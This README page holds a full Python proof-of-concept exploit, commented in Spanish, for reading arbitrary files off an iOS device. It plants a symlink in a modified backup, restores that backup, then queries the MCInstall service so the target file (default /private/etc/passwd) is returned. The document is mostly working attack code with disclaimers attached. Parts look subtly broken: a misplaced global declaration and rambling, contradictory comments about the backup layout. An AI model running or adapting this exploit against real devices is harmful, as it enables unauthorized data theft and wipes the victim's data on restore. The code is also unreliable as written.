README.md
Rendering markdown...
#!/usr/bin/env python3
import os
import sys
import shutil
import subprocess
import tempfile
import plistlib
import time
import argparse
from packaging.version import parse as parse_version # Para comparar versiones
# Requisitos:
# - idevicebackup2 (libimobiledevice)
# - pip install usbmux-python python-lockdown packaging
try:
from usbmux import Usbmux
from lockdown import LockdownClient, LockdownError
except ImportError:
print("ERROR: Faltan las librerías 'usbmux-python' o 'python-lockdown'.")
print("Por favor, instálalas con: pip install usbmux-python python-lockdown packaging")
sys.exit(1)
# --- Configuración y Constantes ---
DEFAULT_BACKUP_DIR = os.path.abspath("vulnerable_backup_analysis")
DEFAULT_TARGET_FILE = "/private/etc/passwd" # Ejemplo clásico, podría ser otro archivo para análisis
DEFAULT_PLIST_REL_PATH = (
"SystemGroup/systemgroup.com.apple.configurationprofiles/"
"Library/ConfigurationProfiles/CloudConfigurationDetails.plist"
)
# Versión de iOS a partir de la cual se considera que este vector específico está parchado
# (NOTA: "18.3" es una versión inusual, usado aquí por consistencia con el PoC original.
# Normalmente serían versiones como "17.5", "18.0", etc. Apple parchó este tipo
# de problemas con symlinks en ConfigurationProfiles en versiones anteriores a iOS 17)
PATCHED_IOS_VERSION = "18.3" # Ajustar según la vulnerabilidad específica documentada
# --- Logging y Funciones Auxiliares ---
def log_info(message):
print(f"[INFO] {time.strftime('%Y-%m-%d %H:%M:%S')} - {message}")
def log_error(message):
print(f"[ERROR] {time.strftime('%Y-%m-%d %H:%M:%S')} - {message}", file=sys.stderr)
def log_success(message):
print(f"[SUCCESS] {time.strftime('%Y-%m-%d %H:%M:%S')} - {message}")
def log_command(cmd_list):
print(f">>> CMD: {' '.join(cmd_list)}")
def run_command(cmd, **kwargs):
log_command(cmd)
try:
proc = subprocess.run(cmd, check=True, capture_output=True, text=True, **kwargs)
if proc.stdout:
# log_info(f"Salida del comando:\n{proc.stdout.strip()}")
pass # Descomentar si se desea ver toda la salida
if proc.stderr:
log_info(f"Salida de error del comando (si la hubo):\n{proc.stderr.strip()}")
return proc
except subprocess.CalledProcessError as e:
log_error(f"El comando falló con código {e.returncode}")
if e.stdout:
log_error(f"Stdout:\n{e.stdout.strip()}")
if e.stderr:
log_error(f"Stderr:\n{e.stderr.strip()}")
raise # Re-lanza la excepción para que sea manejada por el main
def check_dependencies():
log_info("Verificando dependencia: idevicebackup2...")
if shutil.which("idevicebackup2") is None:
log_error("`idevicebackup2` no encontrado en el PATH. Asegúrate de que libimobiledevice esté instalado.")
sys.exit(1)
log_success("`idevicebackup2` encontrado.")
# --- Funciones Principales del Exploit ---
def get_device_info(lockdown_client):
"""Obtiene información del dispositivo, como la versión de iOS."""
try:
product_version = lockdown_client.get_value(None, 'ProductVersion')
product_build = lockdown_client.get_value(None, 'ProductBuildVersion')
device_name = lockdown_client.get_value(None, 'DeviceName')
udid = lockdown_client.udid
log_info(f"Dispositivo Conectado: {device_name} (UDID: {udid})")
log_info(f"Versión de iOS: {product_version} (Build: {product_build})")
return {"ProductVersion": product_version, "ProductBuildVersion": product_build}
except LockdownError as e:
log_error(f"No se pudo obtener información del dispositivo vía lockdown: {e}")
return None
def check_ios_vulnerability(ios_version_str):
"""
Comprueba si la versión de iOS conectada es potencialmente vulnerable.
ADVERTENCIA: Este es un chequeo simple. La vulnerabilidad real puede depender
de builds específicos o configuraciones no detectadas aquí.
"""
if not ios_version_str:
log_error("No se pudo determinar la versión de iOS para la comprobación de vulnerabilidad.")
return False # Proceder con precaución
try:
# Comparamos versiones. Si la versión del dispositivo es MENOR que la parchada, es vulnerable.
if parse_version(ios_version_str) < parse_version(PATCHED_IOS_VERSION):
log_info(f"La versión de iOS {ios_version_str} es ANTERIOR a {PATCHED_IOS_VERSION} y podría ser vulnerable.")
return True
else:
log_warning(f"La versión de iOS {ios_version_str} es IGUAL o POSTERIOR a {PATCHED_IOS_VERSION}.")
log_warning("Este exploit probablemente NO FUNCIONARÁ. Apple corrige la manipulación de symlinks en ConfigurationProfiles.")
# return False # Descomentar para detener la ejecución si se detecta parchado
return True # Permitir continuar para fines de investigación, incluso si se espera que falle
except Exception as e:
log_error(f"Error al comparar versiones de iOS ('{ios_version_str}' vs '{PATCHED_IOS_VERSION}'): {e}")
return False # En caso de error, ser conservador
def log_warning(message):
print(f"[WARNING] {time.strftime('%Y-%m-%d %H:%M:%S')} - {message}")
def prepare_malicious_backup(backup_dir, target_file, plist_rel_path):
log_info(f"Iniciando preparación de copia de seguridad modificada en: {backup_dir}")
log_info(f"Archivo objetivo a exfiltrar: {target_file}")
log_info(f"Ruta relativa del Plist a reemplazar: {plist_rel_path}")
# 1. Limpiar directorio de copia de seguridad previo
if os.path.isdir(backup_dir):
log_info(f"Eliminando directorio de copia de seguridad existente: {backup_dir}")
try:
shutil.rmtree(backup_dir)
except OSError as e:
log_error(f"No se pudo eliminar {backup_dir}: {e}. Verifica los permisos o archivos en uso.")
sys.exit(1)
try:
os.makedirs(backup_dir, exist_ok=True)
except OSError as e:
log_error(f"No se pudo crear {backup_dir}: {e}")
sys.exit(1)
# 2. Generar copia de seguridad limpia inicial
log_info("Generando copia de seguridad base del dispositivo...")
run_command(["idevicebackup2", "backup", "--full", backup_dir]) # --full para asegurar que todo esté
log_success("Copia de seguridad base generada.")
# 3. Cargar Manifest.plist para encontrar el hash del fichero plist
manifest_path = os.path.join(backup_dir, "Manifest.plist")
if not os.path.exists(manifest_path):
log_error(f"Manifest.plist no encontrado en {backup_dir}. La copia de seguridad falló o está incompleta.")
sys.exit(1)
log_info(f"Cargando Manifest.plist desde: {manifest_path}")
with open(manifest_path, "rb") as f:
manifest = plistlib.load(f)
# Buscar la entrada cuyo 'RelativePath' coincide con PLIST_REL_PATH
# El Manifest.plist almacena los archivos con un hash como nombre de archivo.
# Necesitamos encontrar ese hash para el archivo que queremos reemplazar.
target_hash = None
target_entry_details = None # Para loguear más info
for file_hash, entry in manifest.get("Manifest", {}).get("FileBackupDict", {}).items():
if isinstance(entry, dict) and entry.get("RelativePath") == plist_rel_path:
target_hash = entry.get("File") # A veces el hash está en 'File', otras es la key
if not target_hash: # Si 'File' no existe o está vacío, el hash es la clave del dict
target_hash = file_hash
target_entry_details = entry
break
if not target_hash:
log_error(f"No se pudo localizar '{plist_rel_path}' en Manifest.plist.")
log_error("Posibles razones: la ruta es incorrecta, el archivo no existe en este iOS, o el Manifest.plist tiene una estructura inesperada.")
log_info("Archivos disponibles en el manifiesto (primeros 10):")
count = 0
for _, entry in manifest.get("Manifest", {}).get("FileBackupDict", {}).items():
if isinstance(entry, dict) and "RelativePath" in entry:
log_info(f" - {entry['RelativePath']}")
count +=1
if count >=10: break
sys.exit(1)
log_success(f"Encontrado '{plist_rel_path}'. Hash del archivo en copia de seguridad: {target_hash}")
if target_entry_details:
log_info(f"Detalles de la entrada del manifiesto: {target_entry_details}")
# 4. Sustituir el fichero por un symlink
# La estructura de la copia de seguridad suele ser: Backup/<UDID>/Manifest/Data/<hash>
# Aunque idevicebackup2 podría variar, normalmente los datos están en subdirectorios basados en los dos primeros caracteres del hash.
# Ejemplo: si hash es 'abcdef123...', el archivo es 'ab/abcdef123...'
# El Manifest.plist en sí mismo no siempre tiene el path directo, el 'File' es el ID.
# El archivo real estará en un subdirectorio (ej. 'Data/<primeros dos caracteres del hash>/<hash completo>')
# o directamente si el hash no se usa para crear subdirectorios en la implementación de backup.
# Para idevicebackup2, la estructura parece ser más simple: <BackupDir>/<hash_sin_subdirs_en_data_o_manifest>
# El script original busca en `Manifest/Data/target_hash`. Verifiquemos esto.
# El path correcto es: <BACKUP_DIR>/<hash_del_fichero_sin_extension> (el nombre del fichero en el backup es el hash)
# Los ficheros se almacenan directamente en BACKUP_DIR con su hash como nombre, sin un subdirectorio "Data" o "Manifest" intermedio para los datos en sí.
# El Manifest.plist sí está en la raíz. Los archivos de datos están por hash en la misma raíz.
# Corrección: `idevicebackup2` almacena los archivos con nombres de archivo que son sus hashes SHA1,
# directamente dentro del directorio de backup (o en subdirectorios si el backup es muy grande y usa el formato " oggetti").
# Sin embargo, `Manifest.plist` lista `File` como el identificador. El PoC original busca en `<BACKUP_DIR>/Manifest/Data/<target_hash>`.
# Este path puede variar según la herramienta de backup. `idevicebackup2` suele tener una estructura donde el hash es el nombre del archivo.
# Vamos a asumir que el script original era correcto para su versión de libimobiledevice y formato de backup.
# Si `target_hash` incluye un path (ej. "ab/abcdef..."), `os.path.join` lo manejará.
# Generalmente, los archivos están en directorios nombrados con los dos primeros caracteres de su hash.
# Ej: <BACKUP_DIR>/<UDID>/<hash_primeros_2_chars>/<hash_completo>
# El path para los datos en sí, según el manifiesto, no está directamente allí.
# `target_hash` es el nombre del archivo tal como se almacena.
# Si los archivos se almacenan en subdirectorios basados en los dos primeros caracteres de su hash:
file_to_replace_path = os.path.join(backup_dir, target_hash[:2], target_hash)
if not os.path.exists(file_to_replace_path):
# Si no está en un subdirectorio, quizás está directamente (menos común para backups grandes)
file_to_replace_path = os.path.join(backup_dir, target_hash)
if not os.path.exists(file_to_replace_path):
# El PoC original usaba 'Manifest/Data/target_hash' que parece incorrecto para idevicebackup2 moderno.
# Es más probable que los archivos estén en la raíz del backup nombrado por su hash, o en subdirs <hash_prefix>/<hash>
# Vamos a re-evaluar la estructura típica de un backup hecho con idevicebackup2.
# Un `Manifest.plist` y un `Info.plist` están en la raíz. Los archivos de datos están nombrados por su hash SHA1
# y ubicados en subdirectorios nombrados con los dos primeros caracteres de su hash.
# Ejemplo: si el hash es 'ff[...]'. El archivo estará en 'ff/ff[...]' dentro del directorio del backup.
log_error(f"No se encontró el archivo de datos con hash '{target_hash}' en la estructura esperada ({file_to_replace_path} o similar).")
log_error("La estructura del backup podría haber cambiado o el hash es incorrecto.")
log_error("Contenido del directorio de backup:")
for item in os.listdir(backup_dir):
log_info(f" - {item}")
sys.exit(1)
log_info(f"Archivo de datos a reemplazar encontrado en: {file_to_replace_path}")
log_info(f"Eliminando archivo original: {file_to_replace_path}")
try:
os.remove(file_to_replace_path)
except OSError as e:
log_error(f"No se pudo eliminar {file_to_replace_path}: {e}")
sys.exit(1)
log_info(f"Creando symlink desde {file_to_replace_path} -> {target_file}")
try:
# En el contexto de la restauración, el symlink se interpreta DESDE el dispositivo.
# Por lo tanto, el target_file (ej: /etc/passwd) debe ser una ruta absoluta EN EL DISPOSITIVO.
os.symlink(target_file, file_to_replace_path)
except OSError as e:
log_error(f"No se pudo crear el symlink: {e}")
sys.exit(1)
log_success(f"Symlink creado exitosamente: {file_to_replace_path} -> {target_file}")
log_info("Symlink creado en la copia de seguridad local. Durante la restauración, iOS interpretará este symlink en su propio sistema de archivos.")
# 5. (Opcional) Actualizar tamaño y checksum en el manifest
# Como dice el PoC original, `idevicebackup2` suele regenerar estas entradas al restaurar,
# así que normalmente no es necesario. Manipular el Manifest.plist incorrectamente podría corromper la copia.
# MITIGACIÓN DE APPLE: Apple podría verificar la integridad de los archivos contra el Manifest.plist
# y, más importante, sanear los symlinks durante la restauración, especialmente aquellos que apuntan
# a rutas sensibles o fuera de los directorios esperados de la aplicación/perfil.
# También podrían validar que el archivo `CloudConfigurationDetails.plist` sea un plist válido y no un symlink.
log_info("Preparación de la copia de seguridad modificada completada.")
def restore_modified_backup(backup_dir, udid=None):
log_info(f"Iniciando restauración de la copia de seguridad modificada desde: {backup_dir}")
log_warning("ADVERTENCIA: Esto restaurará el dispositivo al estado de la copia de seguridad. TODOS LOS DATOS ACTUALES EN EL DISPOSITIVO SE PERDERÁN.")
log_warning("Asegúrate de que el dispositivo esté desbloqueado y confíe en este ordenador.")
# input("Presiona Enter para continuar con la restauración, o Ctrl+C para abortar...")
cmd = ["idevicebackup2"]
if udid:
cmd.extend(["-u", udid])
cmd.extend(["restore", "--system", "--reboot", "--copy", backup_dir])
# Opciones de restauración:
# --system: restaura también los archivos del sistema.
# --reboot: reinicia el dispositivo después de la restauración.
# --copy: usa el directorio de backup tal cual.
# Es importante que la copia de seguridad sea compatible con el dispositivo y la versión de iOS.
# Una restauración de una copia de seguridad de una versión muy diferente de iOS puede fallar.
log_info("Restaurando la copia de seguridad modificada. Esto puede tardar varios minutos...")
run_command(cmd)
log_success("Restauración completada (o iniciada, el dispositivo se reiniciará).")
log_info("El dispositivo se reiniciará. Espera a que el sistema se estabilice.")
def trigger_exploit_via_lockdown(target_file, udid_to_use=None):
log_info("Intentando explotar la vulnerabilidad a través del servicio lockdown...")
log_info("Esperando a que el dispositivo se reinicie y los servicios estén disponibles (aprox. 60-120 segundos)...")
# El tiempo de espera puede necesitar ajuste.
# Un reinicio completo y la inicialización de servicios pueden tardar.
time.sleep(90) # Aumentado el tiempo de espera
mux = None
lockdown_conn = None
mc_conn = None
try:
log_info("Conectando a usbmuxd...")
mux = Usbmux()
devices = mux.get_device_list()
if not devices:
log_error("No se detectaron dispositivos iOS conectados vía USB.")
return
if udid_to_use:
device = next((d for d in devices if d.get("UDID") == udid_to_use), None)
if not device:
log_error(f"No se encontró el dispositivo con UDID {udid_to_use}.")
log_info(f"Dispositivos disponibles: {devices}")
return
elif len(devices) == 1:
device = devices[0]
log_info(f"Detectado un único dispositivo: {device.get('UDID')}")
else:
log_error("Múltiples dispositivos conectados. Por favor, especifica el UDID con --udid.")
log_info(f"Dispositivos disponibles: {[d.get('UDID') for d in devices]}")
return
udid = device["UDID"]
log_info(f"Estableciendo conexión con el dispositivo: {udid}")
# Conectar al servicio lockdown
# El puerto 44 es interno de usbmuxd, no el puerto de lockdown del dispositivo.
# Usualmente se conecta al servicio 'com.apple.mobile.lockdown' a través de usbmuxd que asigna un puerto.
# La librería python-lockdown maneja esto.
log_info("Conectando a Lockdown service...")
client = LockdownClient(udid=udid) # LockdownClient maneja la conexión vía usbmux
# Obtener información del dispositivo y comprobar vulnerabilidad
device_info = get_device_info(client)
if device_info and device_info.get("ProductVersion"):
if not check_ios_vulnerability(device_info["ProductVersion"]):
# Se muestra una advertencia en check_ios_vulnerability, pero podríamos detenernos aquí.
# log_warning("El exploit podría no funcionar en esta versión de iOS.")
# return # Comentar si se quiere intentar de todas formas
pass
# Iniciar el servicio MCInstall (MobileConfigurationInstall)
# Este servicio es el que se engañará para que lea el symlink.
log_info("Solicitando inicio del servicio 'com.apple.mobile.MCInstall'...")
mc_service_info = client.start_service("com.apple.mobile.MCInstall")
if not mc_service_info or "Port" not in mc_service_info:
log_error("No se pudo iniciar el servicio 'com.apple.mobile.MCInstall' o no se obtuvo el puerto.")
log_error(f"Respuesta de start_service: {mc_service_info}")
return
mc_port = mc_service_info["Port"]
log_info(f"Servicio 'com.apple.mobile.MCInstall' iniciado en el puerto: {mc_port}")
# Conectar directamente al servicio MCInstall en el puerto obtenido
# Se necesita una nueva conexión usbmux para este puerto específico.
log_info(f"Conectando al servicio MCInstall en el puerto {mc_port}...")
mc_conn = mux.connect(udid, mc_port) # Usar el UDID y el puerto del servicio
mc_client = LockdownClient(mc_conn, is_trusted_connection=True) # Reutilizar LockdownClient para enviar mensajes plist
# Enviar el comando GetCloudConfiguration
# Este comando normalmente lee `CloudConfigurationDetails.plist`.
# Debido a nuestro symlink, leerá `target_file`.
log_info("Enviando comando 'GetCloudConfiguration' al servicio MCInstall...")
# El comando no requiere argumentos.
# La respuesta esperada es un plist que contiene 'FileData' con el contenido del archivo.
response_plist = mc_client.send({"Request": "GetCloudConfiguration"})
if not response_plist:
log_error("No se recibió respuesta del servicio MCInstall al comando GetCloudConfiguration.")
return
log_info(f"Respuesta recibida de GetCloudConfiguration: {response_plist}") # Loguear toda la respuesta
# MITIGACIÓN DE APPLE: El servicio MCInstall podría verificar si el archivo que está leyendo
# es realmente un plist y no un archivo de tipo inesperado, o si es un symlink.
# También podría estar sandboxed para no poder seguir symlinks fuera de su directorio esperado.
file_data = response_plist.get("FileData")
if file_data:
# FileData suele ser bytes, decodificar a string.
# Usar 'replace' para errores de decodificación si el archivo no es texto puro.
try:
content = file_data.decode("utf-8", errors="replace")
log_success(f"¡ÉXITO! Contenido de '{target_file}' leído del dispositivo:")
print("-" * 70)
print(content)
print("-" * 70)
except AttributeError: # Si FileData no es bytes (ej. ya es string o None)
log_error(f"FileData no es del tipo bytes, es {type(file_data)}. Contenido: {file_data}")
except Exception as e:
log_error(f"Error al decodificar FileData: {e}")
log_info(f"FileData (raw bytes, primeros 200): {file_data[:200] if isinstance(file_data, bytes) else file_data}")
else:
log_error(f"No se encontró 'FileData' en la respuesta de GetCloudConfiguration.")
log_error("El exploit podría haber fallado. Razones posibles:")
log_error(" - La versión de iOS está parchada y el symlink fue ignorado o eliminado.")
log_error(" - El servicio MCInstall tiene protecciones adicionales (sandboxing, validación de tipo de archivo).")
log_error(" - El archivo CloudConfigurationDetails.plist original no existía y el symlink no se pudo resolver correctamente.")
log_error(" - Problemas de permisos para leer el archivo objetivo.")
except LockdownError as e:
log_error(f"Error de Lockdown: {e}")
log_error("Asegúrate de que el dispositivo confíe en el ordenador y no esté bloqueado con contraseña.")
except ConnectionRefusedError as e:
log_error(f"Conexión rechazada: {e}. ¿Está usbmuxd corriendo? ¿Está el dispositivo conectado y disponible?")
except Exception as e:
log_error(f"Error inesperado durante la fase de explotación: {e}")
import traceback
traceback.print_exc()
finally:
log_info("Cerrando conexiones...")
if mc_conn:
try:
mc_conn.close()
except Exception as e_close:
log_warning(f"Error cerrando conexión a MCInstall: {e_close}")
# La conexión principal de LockdownClient (client) se cierra automáticamente al salir del contexto,
# o si se usó `with LockdownClient(...) as client:`
# Si no, client.close() sería necesario si se quiere ser explícito.
# mux no tiene un método close explícito en la librería usbmux-python tal como se usa aquí.
def main():
parser = argparse.ArgumentParser(
description="PoC para exfiltración de archivos en iOS vía manipulación de backup y servicio MCInstall.",
formatter_class=argparse.RawTextHelpFormatter,
epilog="""
ADVERTENCIA ÉTICA Y LEGAL:
Este script es una Prueba de Concepto (PoC) con fines educativos y de investigación en seguridad.
NO UTILICES este script en dispositivos para los que no tengas autorización explícita.
El acceso no autorizado a sistemas informáticos es ilegal en la mayoría de las jurisdicciones.
El autor/proveedor de este script no se hace responsable del mal uso.
MITIGACIÓN DE APPLE:
Apple ha implementado varias mitigaciones contra este tipo de ataques, incluyendo:
1. Saneamiento de symlinks durante la restauración de copias de seguridad (no se restauran o se resuelven de forma segura).
2. Sandboxing más estricto de los servicios del sistema como MCInstall.
3. Verificación del tipo de archivo y contenido esperado antes de procesar archivos de configuración.
Este PoC asume una versión de iOS vulnerable (< 18.3 según el PoC original, pero en realidad
este tipo de vulnerabilidades fueron parchadas mucho antes).
"""
)
parser.add_argument(
"--backup-dir",
default=DEFAULT_BACKUP_DIR,
help=f"Directorio para la copia de seguridad maliciosa (default: {DEFAULT_BACKUP_DIR})"
)
parser.add_argument(
"--target-file",
default=DEFAULT_TARGET_FILE,
help=f"Archivo absoluto en el dispositivo a exfiltrar (default: {DEFAULT_TARGET_FILE})"
)
parser.add_argument(
"--plist-rel-path",
default=DEFAULT_PLIST_REL_PATH,
help=f"Ruta relativa del plist a reemplazar en la copia de seguridad (default: {DEFAULT_PLIST_REL_PATH})"
)
parser.add_argument(
"--udid",
default=None,
help="UDID del dispositivo objetivo si hay múltiples dispositivos conectados."
)
parser.add_argument(
"--skip-backup",
action="store_true",
help="Omitir la fase de preparación y restauración de la copia de seguridad (asume que ya se hizo)."
)
parser.add_argument(
"--skip-exploit",
action="store_true",
help="Omitir la fase de explotación (solo preparar y restaurar la copia de seguridad)."
)
parser.add_argument(
"--patched-ios-version",
default=PATCHED_IOS_VERSION,
help=f"Versión de iOS a partir de la cual se considera parchado (default: {PATCHED_IOS_VERSION})"
)
args = parser.parse_args()
# Actualizar la constante global si se proporciona desde CLI
global PATCHED_IOS_VERSION
PATCHED_IOS_VERSION = args.patched_ios_version
check_dependencies()
# Imprimir advertencia inicial
log_warning("=" * 70)
log_warning("ADVERTENCIA: Este script es una Prueba de Concepto (PoC).")
log_warning("Su uso indebido puede tener consecuencias legales y éticas.")
log_warning("Úsalo de forma responsable y solo en dispositivos con autorización.")
log_warning("Este script modificará una copia de seguridad y la restaurará en un dispositivo,")
log_warning("lo que implica la PÉRDIDA DE DATOS ACTUALES en el dispositivo.")
log_warning("=" * 70)
# input("Presiona Enter si entiendes los riesgos y deseas continuar, o Ctrl+C para abortar...")
udid_to_use = args.udid
# Si no se especifica UDID, intentar obtenerlo para la restauración si solo hay un dispositivo.
if not udid_to_use and not args.skip_backup : # Solo necesario si vamos a hacer backup/restore
try:
mux_temp = Usbmux()
devices_temp = mux_temp.get_device_list()
if len(devices_temp) == 1:
udid_to_use = devices_temp[0]["UDID"]
log_info(f"Detectado automáticamente UDID: {udid_to_use} para backup/restore.")
elif len(devices_temp) > 1 and (not args.skip_backup or not args.skip_exploit):
log_error("Múltiples dispositivos conectados y no se especificó UDID. Usa --udid.")
sys.exit(1)
elif not devices_temp and (not args.skip_backup or not args.skip_exploit):
log_error("No hay dispositivos conectados.")
sys.exit(1)
except Exception as e:
log_warning(f"No se pudo autodetectar UDID: {e}. Si la operación falla, especifícalo con --udid.")
try:
if not args.skip_backup:
log_info("==> Fase 1: Preparando copia de seguridad maliciosa…")
prepare_malicious_backup(args.backup_dir, args.target_file, args.plist_rel_path)
log_info("==> Fase 2: Restaurando copia de seguridad modificada…")
restore_modified_backup(args.backup_dir, udid_to_use)
log_info("El dispositivo se está reiniciando. La explotación comenzará después de una pausa.")
else:
log_info("==> Omitiendo preparación y restauración de copia de seguridad según lo solicitado.")
if not args.skip_exploit:
log_info("==> Fase 3: Explotando vía lockdown…")
trigger_exploit_via_lockdown(args.target_file, udid_to_use)
else:
log_info("==> Omitiendo fase de explotación según lo solicitado.")
log_success("Proceso completado.")
except subprocess.CalledProcessError:
# El error ya fue logueado por run_command
log_error("Una operación de subproceso falló. Revisa los logs anteriores.")
sys.exit(1)
except Exception as e:
log_error(f"ERROR INESPERADO en la ejecución principal: {e}")
import traceback
traceback.print_exc()
sys.exit(1)
if __name__ == "__main__":
main()